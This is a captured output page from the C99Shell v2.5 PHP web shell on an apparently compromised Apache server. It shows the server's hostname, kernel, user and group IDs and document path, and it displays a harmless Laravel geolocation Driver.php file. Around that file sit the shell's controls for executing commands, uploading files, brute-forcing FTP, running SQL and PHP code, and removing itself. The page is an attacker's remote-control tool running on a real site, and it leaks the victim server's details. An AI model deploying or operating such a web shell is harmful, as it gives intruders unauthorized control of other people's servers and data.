!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/stevebauman/location/src/Drivers/   drwxr-xr-x
Free 29.1 GB of 117.98 GB (24.66%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Driver.php (3.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Stevebauman\Location\Drivers;

use 
Illuminate\Support\Fluent;
use 
Stevebauman\Location\Position;

abstract class 
Driver
{
    const 
CURL_MAX_TIME 2;
    const 
CURL_CONNECT_TIMEOUT 2;

    
/**
     * The fallback driver.
     *
     * @var Driver
     */
    
protected $fallback;

    
/**
     * Append a fallback driver to the end of the chain.
     *
     * @param Driver $handler
     */
    
public function fallback(Driver $handler)
    {
        if (
is_null($this->fallback)) {
            
$this->fallback $handler;
        } else {
            
$this->fallback->fallback($handler);
        }
    }

    
/**
     * Handle the driver request.
     *
     * @param string $ip
     *
     * @return Position|bool
     */
    
public function get($ip)
    {
        
$data $this->process($ip);

        
$position $this->getNewPosition();

        
// Here we will ensure the locations data we received isn't empty.
        // Some IP location providers will return empty JSON. We want
        // to avoid this so we can go to a fallback driver.
        
if ($data instanceof Fluent && $this->fluentDataIsNotEmpty($data)) {
            
$position $this->hydrate($position$data);

            
$position->ip $ip;
            
$position->driver get_class($this);
        }

        if (! 
$position->isEmpty()) {
            return 
$position;
        }

        return 
$this->fallback $this->fallback->get($ip) : false;
    }

    
/**
     * Create a new position instance.
     *
     * @return Position
     */
    
protected function getNewPosition()
    {
        
$position config('location.position'Position::class);

        return new 
$position;
    }

    
/**
     * Determine if the given fluent data is not empty.
     *
     * @param Fluent $data
     *
     * @return bool
     */
    
protected function fluentDataIsNotEmpty(Fluent $data)
    {
        return ! empty(
array_filter($data->getAttributes()));
    }

    
/**
     * Get content from the given URL using cURL.
     *
     * @param string $url
     *
     * @return mixed
     */
    
protected function getUrlContent($url)
    {
        
$session curl_init();

        
curl_setopt($sessionCURLOPT_URL$url);
        
curl_setopt($sessionCURLOPT_RETURNTRANSFER1);
        
curl_setopt($sessionCURLOPT_TIMEOUT, static::CURL_MAX_TIME);
        
curl_setopt($sessionCURLOPT_CONNECTTIMEOUT, static::CURL_CONNECT_TIMEOUT);

        
$content curl_exec($session);

        
curl_close($session);

        return 
$content;
    }

    
/**
     * Get the URL to use for querying the current driver.
     *
     * @param string $ip
     *
     * @return string|null
     */
    
protected function url($ip)
    {
    }

    
/**
     * Hydrate the Position object with the given location data.
     *
     * @param Position $position
     * @param Fluent   $location
     *
     * @return \Stevebauman\Location\Position
     */
    
abstract protected function hydrate(Position $positionFluent $location);

    
/**
     * Attempt to fetch and process the location data from the driver.
     *
     * @param string $ip
     *
     * @return Fluent|bool
     */
    
abstract protected function process($ip);
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--